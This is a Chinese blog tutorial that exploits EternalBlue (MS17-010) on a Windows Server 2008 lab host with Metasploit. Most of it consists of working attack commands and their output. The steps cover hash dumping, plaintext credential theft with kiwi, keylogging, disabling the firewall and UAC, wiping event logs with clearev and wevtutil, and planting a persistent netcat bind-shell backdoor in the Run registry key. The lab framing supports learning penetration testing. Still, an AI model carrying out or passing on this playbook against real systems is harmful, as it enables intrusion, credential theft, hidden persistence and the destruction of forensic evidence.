永恒之蓝(MS17-010)漏洞利用

永恒之蓝(eternalblue)

永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry程序,使全世界大范围内遭受了该程序,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。但不过在该程序出来不久就被微软通过打补丁修复了。

SMB(Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。

1、漏洞利用

第一步:在kali中使用nmap 扫描win-2K8 靶机

1)通过nmap 扫描,我们发现: 目标主机开放了445端口

2)445是共享端口—windows SMB 共享服务使用的端口

3)而且我们还清楚,永恒之蓝这个漏洞,针对的就是windows  SMB 服务,针对的就是445 端口

4)所以,既然目标服务器开放445端口,我们就可以尝试利用永恒之蓝这个漏洞对目标服务器进行扫描和探测

5)当然,我们还可以进一步去做漏洞扫描,用nessus 工具对目标服务器进行漏扫

6)通过nessus  我们也发现目标服务器上存在永恒之蓝这个漏洞

在这里插入图片描述
7)所以我们就可以去msf 这个工具中,查找和永恒之蓝这个漏洞相关的攻击或者辅助的脚本

  • 第二步: 脚本查找
    msf6 > search ms17-010

    1  auxiliary/scanner/smb/smb_ms17_010                      //辅助扫描脚本(smb)      

    2  exploit/windows/smb/ms17_010_eternalblue            //攻击脚本(永恒之蓝)
  • 第三步:漏洞扫描
    msf6 > use 1 

    msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.10.145

    msf6 auxiliary(scanner/smb/smb_ms17_010) > run


	msf6 auxiliary(scanner/smb/smb_ms17_010) > run

	[+] 192.168.10.145:445    - Host is likely VULNERABLE to MS17-010! 
                           //容易遭受ms17-010的攻击

  • 第四步: 漏洞利用,创建反弹连接
msf6 auxiliary(scanner/smb/smb_ms17_010) > back

msf6 > use 2

[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp



msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.10.145

msf6 exploit(windows/smb/ms17_010_eternalblue) > run

meterpreter > 




  • 第五步:meterpreter环境中,操作远程资源
meterpreter > pwd         //查看远程目录位置

meterpreter > cd   c:/users         //切换到c盘下的users

meterpreter > ls         //列出当前远程目录下的文档资源

meterpreter > dir      //列出当前远程目录下的文档资源(和ls 命令作用相同)

meterpreter > edit  a.txt      //创建并编辑文件a.txt

meterpreter >  cat    a.txt    //查看a.txt 文件内容

meterpreter >  del   a.txt     //删除a.txt文件

meterpreter > mkdir   ntd2111  //创建新目录

meterpreter > rmdir  ntd2111    //删除目录

meterpreter >  lpwd   //查看在kali本机的目录

meterpreter >  lcd     /root/桌面     

//在本地主机kali中,将当前目录切换到 /root/桌面

meterpreter > mkdir    gaga

//在靶机win2008的当前目录users下创建目录abc

meterpreter > upload    /etc/passwd       c:/users/gaga

//将kali 中的文件/etc/passwd 上传到靶机win2008的指定的gaga目录

meterpreter > ls   abc

备注:可以回到windows-2008 c:/users/ 下手动创建jmwj.txt

meterpreter > download   jmwj.txt    

//从靶机win2008中下载文件jmwj.txt 到kali 主机的当前目录

meterpreter > download   jmwj.txt    /opt/

//从靶机win2008中下载文件jmwj.txt  到kali 主机的指定目录/opt
  • 第六步:获取密码
meterpreter > hashdump    

Administrator:500:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b

复制第四部分到网站查询 [https://cmd5.com/](https://cmd5.com/)

  • 第七步:获取用户信息
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
  • 第八步:通过 kiwi 模块获取用户口令
meterpreter > load kiwi      //加载kiwi

meterpreter > help kiwi      //kiwi使用帮助

meterpreter > creds_all      //检测所有凭证,该命令可以列举系统中的明文密码

kiwi模块,后渗透阶段的一款利器,内网渗透的一块利器,
windows 密码抓取神器、拥有提权、抓取凭证密码、很多功能,我们今天主要使用进程迁移和密码抓取
  • 第九步:屏幕共享和屏幕截图
meterpreter > screenshot    //屏幕截图

meterpreter > screenshare    //屏幕共享,按快捷键Ctrl + C停止


  • 第十步:键盘记录

    1) 查看我们当前的用户识别码、进程识别码、查看当前用户权限

      meterpreter >  getuid       //查看用户识别码

      meterpreter >  getpid      //查看进程识别码

      meterpreter > getprivs     //查看当前用户权限

      meterpreter > ps            //查看进程列表
		

meterpreter > ps 
============
进程号    应用程序的名字       用户                          
 PID     Name               User                          
 ---     ----               ----                                                                                                            
 1048   spoolsv.exe         NT AUTHORITY\**SYSTEM**           
 1504   taskhost.exe       VAGRANT-2008R2\Administrator                   
  • 第十一步:进程迁移

    将 SYSTEM 权限 迁移为 Administrator

    meterpreter > ps     //查看进程

    meterpreter > migrate  1504     //进程迁移

    meterpreter > getuid    //确认迁移后的用户识别码

    备注:进程迁移,只能同级别迁移或者高权限用户往低权限迁移,低权限无法往高权限迁移
  • 第十二步:执行键盘操作记录,

    备注:键盘记录需要拥有administrator 权限后才可以成功

    备注:getuid 检测

    方法1:开启键盘记录

    第一:先查看进程

        meterpreter >ps
  第二:做进程迁移,迁移到administrator 用户权限
        meterpreter >migrate  1504(实验过程中,已实际进程号为准)
  第三:确认用户权限
        meterpreter > getuid 
  第四:开启键盘记录
        meterpreter > keyscan_start     //开启键盘记录

第五:在win-2008中拼命疯狂的敲键盘

第六:回到kali 验证:

        meterpreter > keyscan_dump   //导出键盘记录    
方法2:利用后渗透脚本开启键盘记录

第一:先查看进程

    meterpreter >ps

第二:做进程迁移,迁移到administrator 用户权限

    meterpreter >migrate  1504(实验过程中,已实际进程号为准)

第三:确认用户权限

    meterpreter > getuid 

第四:开启键盘记录后渗透脚本

    meterpreter > run post/windows/capture/keylog_recorder

第五:在 win2k8 打开记事本,输入任意内容

第六:在 kali 检查是否成功记录

      打开新的终端,执行命令检查文件

      [root]# cat   /root/.msf4/loot/20211226174349_default_192.168.10.145··········· 
  • 第十三步: 防火墙配置
    meterpreter > shell

    C:\Windows\system32> chcp  65001   //解决中文乱码,切换为英文格式

备注windows新版本命令:

1)查看防火墙当前状态

    C:\Windows\system32> netsh    advfirewall      show     currentprofile       state

2)关闭防火墙

    C:\Windows\system32> netsh  advfirewall  set       allprofiles      state    off 

3) 开启防火墙

    C:\Windows\system32> netsh advfirewall set allprofiles state on

4)添加防火墙入站规则,放行3333端口

C:\Windows\system32> netsh  advfirewall  firewall   add     rule   name=test   dir=in   action=allow   protocol=tcp localport=3333
                            高级防火墙      防火墙     添加     规则   名字          入站     动作    允许     协议         本地端口
//添加入站规则,规则名称:test   , 协议:tcp    端口:3333

备注:1024之前的端口号,不要用,为什么,因为那些端口号,都已经有主了
  • 第十四步: 关闭UAC
    UAC:User Account Control
  • 用户帐户控制-是windows操作系统中一种安全控制机制

  • 使用UAC,可以防止未经授权应用程序的自动安装,阻止恶意程序,防止系统损坏
    win2k8 检查 UAC 状态

    运行中输入 msconfig,

    默认用户账户是关闭的,我们可以先打开

ADD 添加一个注册表项 -v 创建键值 -t 键值类型 -d 键值的值 1开/0关

-f 不用提示就强行覆盖现有注册表项

在 meterpreter >进入shell 运行命令, 使win2008添加注册表项,关闭用户账户

      c:\windows\system> reg ADD  HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System     /v   EnableLUA    /t     REG_DWORD   /d    0    /f
  • 第十五步:在meterpreter 下清除日志
    meterpreter > clearev     //擦除windows 事件查看器
[*] Wiping 1146 records from Application...         //擦除1146应用日志
[*] Wiping 3288 records from System...              //擦除3288系统日志
[*] Wiping 2669 records from Security...           //擦除2669 安全日志

备注:虽然清除 很多日志,但是你擦除日志的这条日志被保留了

2、持久性后门-nc 瑞士军刀 著名后门程序
  • 第一步:上传后面程序nc.exe 到win-2008
    meterpreter > upload /usr/share/windows-binaries/nc.exe   c:/windows/system32

1)查看上传结果及权限

      meterpreter > cd   c:/windows/system32

      meterpreter > ls nc.exe
  • 第二步:在 meterpreter > 执行命令,远程配置win-2008注册表,实现nc.exe 能够开机自启

    第一:添加键值nc

    meterpreter > **reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run   -v   nc   -d "C:\windows\system32\nc.exe     -Ldp   444     -e   cmd.exe"

备注:用注册表告诉win-2008这个系统,让nc.exe程序开机自启动

  • 第二:查询有没有nc这个键值,确认是否添加成功
       meterpreter > reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run

      Values (3):

       VMware VM3DService Process

       VMware User Process

       nc     //新增的注册表
  • 第三:查询 NC键值的详细数值内容
      meterpreter > reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc

      Key: HKLM\software\microsoft\windows\currentversion\Run

      Name: nc

      Data: C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe

备注:在win-2008验证:有键值,有键值内容

    ![](https://secure2.wostatic.cn/static/9x17M9vUpdEinV6sP5ophK/1640543114(1).png)
  • 第三步:重启win-2008

    备注:重启win-2008 验证,是否能开机自动启动

    验证:验证靶机上的444端口是否开启

    meterpreter >shell

    C:\Windows\system32> netstat -an

    C:\Windows\system32> netstat -an | findstr "444"

备注:验证2008系统中的444端口是否开启,如果开启证明,nc这个程序以及开机自动运行了,如果没有444这个端口,就代表能nc程序没能成功运行

  • 第四步:可以检查防火墙,防火墙要在入站规则中放行444端口,或者关闭防火墙
    meterpreter > shell

    C:\Windows\system32>  netsh advfirewall firewall add rule name=tedu dir=in action=allow protocol=tcp localport=444
  • 第五步:后门接入

    在 kali 连接 win2k8

    在kali 中打开一个新的终端

     [root] nc 192.168.10.145 444

    C:\Windows\system32>
  • 第六步:清楚痕迹

    验证:在事件查看器里面看到的是administrator 的登录信息,可以清空日志

    
    C:\Windows\system32>  wevtutil el    //列出日志名称
    
    C:\Windows\system32>  wevtutil  cl application   //清除应用程序日志
    
    C:\Windows\system32>  wevtutil  cl security     //清除安全日志
    
    C:\Windows\system32>  wevtutil  cl  system    //清除系统日志
    
  • 常见错误排错:

    如果无法连接到后门程序

    第一步:可以在kali 中检查端口状态

      meterpreter >shell

      C:\Windows\system32> netstat -an

      C:\Windows\system32> netstat -an | findstr ":444"

    ```

    第二步:可以检查防火墙,防火墙要在入站规则中放行444端口,或者关闭防火墙
  meterpreter > shell

  C:\Windows\system32>  netsh advfirewall firewall add rule name=tedu dir=in action=allow protocol=tcp localport=444
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

不懂说安全

创作不易您打赏是对我最大的鼓励

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值